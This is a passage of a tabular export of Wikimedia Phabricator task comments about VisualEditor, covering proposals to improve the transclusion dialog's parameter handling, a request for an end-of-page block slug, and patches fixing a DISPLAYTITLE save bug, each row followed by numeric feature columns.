</brain dump>",,,1373369674,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,True,,,1,,0.8333333333333334,0.0,0.16666666666666666,0.16666666666666666,1.0,7.333333333333333,2.5,0.0,0.3333333333333333,0.3333333333333333,3.3333333333333335,1.0,0.16666666666666666,0.5,0.5,2.3333333333333335,0.0,8.5,11.333333333333334,0.0,2.0,0.5,0.0,0.0,0.5,0.3333333333333333,0.0,0.16666666666666666,0.3333333333333333,1.5,0.0,4.0,0.8333333333333334,2.0,1.0,0.16666666666666666,0.0,0.0,0.16666666666666666,0.6666666666666666,0.16666666666666666,0.3333333333333333,0.8333333333333334,1.8333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,14.833333333333334,0.16666666666666666,0.6666666666666666,0.0,0.5,0.0,0.0,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.16666666666666666,0.0,0.6666666666666666,0.16666666666666666,0.3333333333333333,0.16666666666666666,0.0,0.0,6.833333333333333,4.0,4.666666666666667,1.3333333333333333,3.1666666666666665,8.833333333333334,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,5.333333333333333,11.333333333333334,0.8333333333333334,0.0,1.3333333333333333,0.0,5.333333333333333,0.0,0.3333333333333333,2.1666666666666665,0.16666666666666666,1.6666666666666667,0.8333333333333334,0.0,0.8333333333333334,3.741480526918671,0.726141895761741,"Retitling this ticket to keep it more focussed as a generic ""improve X"" is hard to actually resolve definitely. I suppose the main goal here is:

* It should be easier to add the Nth parameter after having added one already (e.g. not having to go back to the template page from the navigation sidebar and adding a new one).

* One should be able to see other parameters (including their values) at a glance.

I've been thinking about the following UI changes (in no particular order, some options are mutually exclusive):

* Though having sidebar entries for each parameter (as opposed to just the template) is a nice way to jump to a specific parameter at once, but for other purposes it is imho too big and unhelpful. I can't justify its prominence other than that this is the only method we have in the UI right now to allow navigation to other pages in the dialog.

* I'd like to try for a Template to be a single page in the dialog where one can scroll from one parameter to another (e.g. more like a regular form).

* The sidebar should probably be reduced (parameters either not in there, or significantly less prominent (e.g. a third of the height and indented from the parent item). The navigation sub-items for parameters wouldn't be for separate pages in the dialog, but would trigger a scroll to the param section and (if not already) to go to that template page the parameter section is inside of. We could go fancy and update the sidebar in two-directions (e.g. clicking an item will scroll there, and if you scroll there manually, we update the sidebar active item.  This principle is quite common on one-page sites, example implementation of such principle: 
URL
URL

* As for bigger templates the ""Template"" page would now be very long, it becomes important that our ""Add parameter"" button is not only on top or bottom of the Template page, but accessible at all times (e.g. sticky on the bottom, and when clicked we attach a new section, add it to the list and scroll to it).

* Separate: I'd like to get rid of the [+] -> [+ {template}] button we have right now. It is quite counter intuitive in my opinion. Aside from the ""+"" being unclickable (one has to hover it, then find out there are different options and pick one, even though there was only 1 option, now there are 2: template and content), it is also too small. I'd recommend we either have both + buttons visible at all times (+template, +content) or put them in the sidebar are sticky bottom-positioned slugs/placeholders (e.g. each + item would be its own row in the sidebar, clicking it will add an entry to the sidebar).

</brain dump>"
234048,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"**euro** wrote:

(In reply to comment #4)
> I'd also request the elimination and replacement of the word ""transclusion"";
> it's very opaque to non-wikimedians (and also potentially incorrect).

Agreed...Perhaps it would be helpful in ""dumbing down"" the term to review the Free Dictionary treatise on ""transclusion"":

http://encyclopedia.thefreedictionary.com/Transclusion

--It pretty much comes down to the age-old issue of taking whatever is somewhere originally and replicating it somewhere else. The catch: no matter what happens to the original material, it's reflected immediately in the replicated copy. So within the context of ""Wikistuff"", how about ""replicate""?

Webbie",,,1373069621,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,0.5,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,9.5,9.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,1.0,2.5,2.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,7.5,1.0,1.0,6.5,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,2.5,9.5,4.0,1.0,5.5,0.0,2.5,0.0,2.5,0.0,0.0,2.5,0.0,0.0,0.0,3.8363636363636364,0.7545454545454546,"**euro** wrote:

(In reply to comment #4)
QUOTE
QUOTE

Agreed...Perhaps it would be helpful in ""dumbing down"" the term to review the Free Dictionary treatise on ""transclusion"":

URL

--It pretty much comes down to the age-old issue of taking whatever is somewhere originally and replicating it somewhere else. The catch: no matter what happens to the original material, it's reflected immediately in the replicated copy. So within the context of ""Wikistuff"", how about ""replicate""?

Webbie"
234036,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"I'd also request the elimination and replacement of the word ""transclusion""; it's very opaque to non-wikimedians (and also potentially incorrect).",,,1373026126,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.233333333333333,0.8666666666666667,"I'd also request the elimination and replacement of the word ""transclusion""; it's very opaque to non-wikimedians (and also potentially incorrect)."
234024,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"Another editor doing a lot of work with templates suggests that in commonly used templates with regular parameters, it might be a good idea to have the parameters preloaded. Speaking of the common ""cite web"" template, she says:

""I think it would be easier for the parameteres to already being added, at least the basic ones, to the template. For example, to the ""cite web"" template, the parameters that most people use (title, url, author, publisher and date). So, when the editor adds the ""cite web"" template, would only have to add the content of each parameter and not the parameters themselves. If the editor wants to add an extra parameter, they could choose it from the list and add it. I am sure that this is difficult to be done knowing that there are lots of templates to go through but maybe keep it as a thought if it can be done?""",,,1372958401,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,0.5,0.0,0.0,1.5,0.5,6.5,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.5,1.0,0.0,4.5,13.5,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.0,0.5,4.5,1.5,3.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,18.0,0.5,0.5,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,0.0,9.0,4.0,3.5,3.0,2.0,10.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,6.0,13.5,0.0,0.5,4.0,0.0,6.0,0.0,1.0,2.0,0.5,1.5,0.5,1.0,0.0,3.780697563306259,0.6613712374581939,"Another editor doing a lot of work with templates suggests that in commonly used templates with regular parameters, it might be a good idea to have the parameters preloaded. Speaking of the common ""cite web"" template, she says:

""I think it would be easier for the parameteres to already being added, at least the basic ones, to the template. For example, to the ""cite web"" template, the parameters that most people use (title, url, author, publisher and date). So, when the editor adds the ""cite web"" template, would only have to add the content of each parameter and not the parameters themselves. If the editor wants to add an extra parameter, they could choose it from the list and add it. I am sure that this is difficult to be done knowing that there are lots of templates to go through but maybe keep it as a thought if it can be done?"""
234015,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"Additional thoughts - copied from En Wikipedia. Pam has done a ton of work with templates in VE and is at this point pretty dead familiar with how it impacts her workflow.

***
Many of the templates I add most often either have no parameters (eg stub templates), or take ""date"" as a parameter (maintenance templates like {{unref}}), or take one or more positional parameters (eg {{in title}} or {{about}} or {{coord}}).

The handling of templates seems to assume that each template has one or more named parameters.

Inputting a 3-parameter template like {{about|this|that|the other}} is very tedious, even after you've discovered how to do it (very non-intuitive). You can't see the content of previous parameters as you go along, so have to remember where you've got to. Messy and stressful and takes a whole lot of clicking.

It's probably too late to suggest this, but imagine the following scenario:
1. I click on the jigsaw icon
2. A box appears where I input the name of the template and click ""Add template""
3. The next box includes a prominent ""See template documentation"" button which links to the appropriate documentation, perhaps popping it up in another window or tab.
4. This box is divided into two columns and a note says ""use either the left-hand or right-hand column to add any parameters to this template"". One col has named parameters, the other has a set of boxes labelled ""1st parameter"", ""2nd parameter"", etc. Along with buttons for ""Next template"" and ""Apply changes"".

A further refinement would be for VE to be aware of (a) templates which take no parameters (eg stub templates), and (b) templates which only take the date (many maintenance templates), and in these two cases not to prompt for parameters (but to quietly add the date for (b), saving this having to be done by a passing bot later).

A yet further refinement would be for VE to recognise stub templates (they all end in ""-stub}}"", apart from {{stub}} itself, so it shouldn't be hard), offer them as a separate drop-down menu (much easier when stub-sorting), and put them in the ""right"" (per WP:MOS) place at the end of the article.

Probably too much to hope for: but going back to the basics, please work out a way for parameters to be input without all the clicks involved in making ""names"" like ""1"", ""2"", etc. I haven't yet tried to add a coords parameter - something on the lines of {{coord|54|36|51|N|2|49|34|W|display=title}}. That's going to be really tedious.

... Getting a bit stream-of-consciousness here: can't we just have two columns of boxes: ""parameter name if any"" and ""parameter contents"" - perhaps 10 rows and a ""More parameters"" button. Then to input that coord template I'd just leave the first column blank and put the values I've got, in order, and hit ""Apply changes"". Simple, allows you to see previous params as you go to keep track of where you've got to, etc. Ah well, perhaps it's all in hand. Good luck. PamD 14:12, 4 July 2013 (UTC)",,,1372947691,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,1.25,0.125,0.25,0.25,0.625,5.0,0.875,0.0,0.0,0.125,1.625,1.125,0.0,0.125,0.0,0.875,0.0,5.375,10.25,0.125,2.5,0.125,0.0,0.125,0.5,0.125,0.0,0.0,0.0,0.375,0.0,4.25,1.25,0.875,0.875,0.875,0.25,0.0,1.75,0.375,0.25,0.5,0.25,0.625,0.125,0.25,0.0,0.0,0.125,14.5,0.375,0.625,0.0,0.875,0.0,0.125,0.0,0.375,0.75,0.25,0.375,0.5,0.125,0.25,0.0,0.375,0.25,4.625,1.25,5.75,1.125,3.25,7.375,0.0,0.0,0.0,0.0,4.25,0.375,2.0,0.0,3.25,10.25,1.75,0.0,4.375,0.0,3.25,0.0,1.125,2.0,0.5,1.125,0.5,0.125,1.375,3.503983803552769,0.6923491379310345,"Additional thoughts - copied from En Wikipedia. Pam has done a ton of work with templates in VE and is at this point pretty dead familiar with how it impacts her workflow.

***
Many of the templates I add most often either have no parameters (eg stub templates), or take ""date"" as a parameter (maintenance templates like {{unref}}), or take one or more positional parameters (eg {{in title}} or {{about}} or {{coord}}).

The handling of templates seems to assume that each template has one or more named parameters.

Inputting a 3-parameter template like {{about|this|that|the other}} is very tedious, even after you've discovered how to do it (very non-intuitive). You can't see the content of previous parameters as you go along, so have to remember where you've got to. Messy and stressful and takes a whole lot of clicking.

It's probably too late to suggest this, but imagine the following scenario:
1. I click on the jigsaw icon
2. A box appears where I input the name of the template and click ""Add template""
3. The next box includes a prominent ""See template documentation"" button which links to the appropriate documentation, perhaps popping it up in another window or tab.
4. This box is divided into two columns and a note says ""use either the left-hand or right-hand column to add any parameters to this template"". One col has named parameters, the other has a set of boxes labelled ""1st parameter"", ""2nd parameter"", etc. Along with buttons for ""Next template"" and ""Apply changes"".

A further refinement would be for VE to be aware of (a) templates which take no parameters (eg stub templates), and (b) templates which only take the date (many maintenance templates), and in these two cases not to prompt for parameters (but to quietly add the date for (b), saving this having to be done by a passing bot later).

A yet further refinement would be for VE to recognise stub templates (they all end in ""-stub}}"", apart from {{stub}} itself, so it shouldn't be hard), offer them as a separate drop-down menu (much easier when stub-sorting), and put them in the ""right"" (per WP:MOS) place at the end of the article.

Probably too much to hope for: but going back to the basics, please work out a way for parameters to be input without all the clicks involved in making ""names"" like ""1"", ""2"", etc. I haven't yet tried to add a coords parameter - something on the lines of {{coord|54|36|51|N|2|49|34|W|display=title}}. That's going to be really tedious.

... Getting a bit stream-of-consciousness here: can't we just have two columns of boxes: ""parameter name if any"" and ""parameter contents"" - perhaps 10 rows and a ""More parameters"" button. Then to input that coord template I'd just leave the first column blank and put the values I've got, in order, and hit ""Apply changes"". Simple, allows you to see previous params as you go to keep track of where you've got to, etc. Ah well, perhaps it's all in hand. Good luck. PamD 14:12, 4 July 2013 (UTC)"
234010,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"Another thought; the different tabs for different params is something that takes a while to figure out, and introduces a lot more hoops into the system.",,,1372944786,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,0,,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,4.379310344827586,0.896551724137931,"Another thought; the different tabs for different params is something that takes a while to figure out, and introduces a lot more hoops into the system."
52353,VisualEditor: Add a block slug at the end of pages,"The cursor cannot be placed below the last line. This sounds trivial, but there are a lot of situations - adding stub templates, or defaultsort data, for example - where being able to trivially flip to the end of an article and have space to write is A Good Thing (tm). It'd be good to have a temporary line at the end of an article that isn't saved unless it contains anything.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372411380,1423750227.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-vipia63usd432ltaseq6,task_description,declined,True,c1,2,False,False,False,-1,,0.0,1.0,0.0,1.5,1.5,5.5,2.5,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,2.5,7.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,4.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,1.0,0.0,11.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,6.5,4.5,7.0,1.5,1.5,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,7.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,4.0,0.0,0.5,0.0,0.0,0.0,3.8003921568627455,0.8213725490196079,"The cursor cannot be placed below the last line. This sounds trivial, but there are a lot of situations - adding stub templates, or defaultsort data, for example - where being able to trivially flip to the end of an article and have space to write is A Good Thing (tm). It'd be good to have a temporary line at the end of an article that isn't saved unless it contains anything.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
410478,VisualEditor: Add a block slug at the end of pages,"We don't insert slugs if the user can create a new line by pressing enter. If the document ends in a template or other focusable item, we do.",,,1423750227,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vipia63usd432ltaseq6,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,6.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.5625,0.875,"We don't insert slugs if the user can create a new line by pressing enter. If the document ends in a template or other focusable item, we do."
52341,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"1. Edit [[testwiki:Displaytitle]] using VE
2. Using the transclusion dialog box, add the following ""template"":
        DISPLAYTITLE:''displaytitle''
3. Save the page

The page title remains ""Displaytitle"" in roman type.

Expected to see ""displaytitle"" in italics. This is what you see when you refresh the page.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49667",Medium,50.0,1372389360,1404250963.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,15.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,3.0,4.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,6.0,3.683673469387755,0.5612244897959183,"1. Edit [[testwiki:Displaytitle]] using VE
2. Using the transclusion dialog box, add the following ""template"":
        DISPLAYTITLE:''displaytitle''
3. Save the page

The page title remains ""Displaytitle"" in roman type.

Expected to see ""displaytitle"" in italics. This is what you see when you refresh the page.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
233340,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"(In reply to Alex Monk from comment #13)
> So this appears to actually be working now.

Woo-hoo. :-)",,,1404356560,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,16.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.736842105263158,1.0,"(In reply to Alex Monk from comment #13)
QUOTE

Woo-hoo. :-)"
233337,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,So this appears to actually be working now.,,,1404250963,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,1.0,So this appears to actually be working now.
233334,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 141098 merged by jenkins-bot:
Update displaytitle on save (try #3)

https://gerrit.wikimedia.org/r/141098",,,1404249536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,"Change 141098 merged by jenkins-bot:
Update displaytitle on save (try #3)

GERRIT_URL"
233327,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 141098 had a related patch set uploaded by Alex Monk:
Update displaytitle on save (try #3)

https://gerrit.wikimedia.org/r/141098",,,1403537537,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,1.0,"Change 141098 had a related patch set uploaded by Alex Monk:
Update displaytitle on save (try #3)

GERRIT_URL"
233323,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 140591 merged by jenkins-bot:
Update displaytitle on save (try #2)

https://gerrit.wikimedia.org/r/140591",,,1403134891,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,"Change 140591 merged by jenkins-bot:
Update displaytitle on save (try #2)

GERRIT_URL"
233319,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 140591 had a related patch set uploaded by Alex Monk:
Update displaytitle on save (try #2)

https://gerrit.wikimedia.org/r/140591",,,1403133467,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,1.0,"Change 140591 had a related patch set uploaded by Alex Monk:
Update displaytitle on save (try #2)

GERRIT_URL"
233313,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,Patch reverted; re-opening.,,,1403122919,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,Patch reverted; re-opening.
233308,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 139205 merged by jenkins-bot:
Update displaytitle on save

https://gerrit.wikimedia.org/r/139205",,,1403058210,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 139205 merged by jenkins-bot:
Update displaytitle on save

GERRIT_URL"
233304,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 139205 had a related patch set uploaded by Alex Monk:
Update displaytitle on save

https://gerrit.wikimedia.org/r/139205",,,1402607917,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,49,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 139205 had a related patch set uploaded by Alex Monk:
Update displaytitle on save

GERRIT_URL"
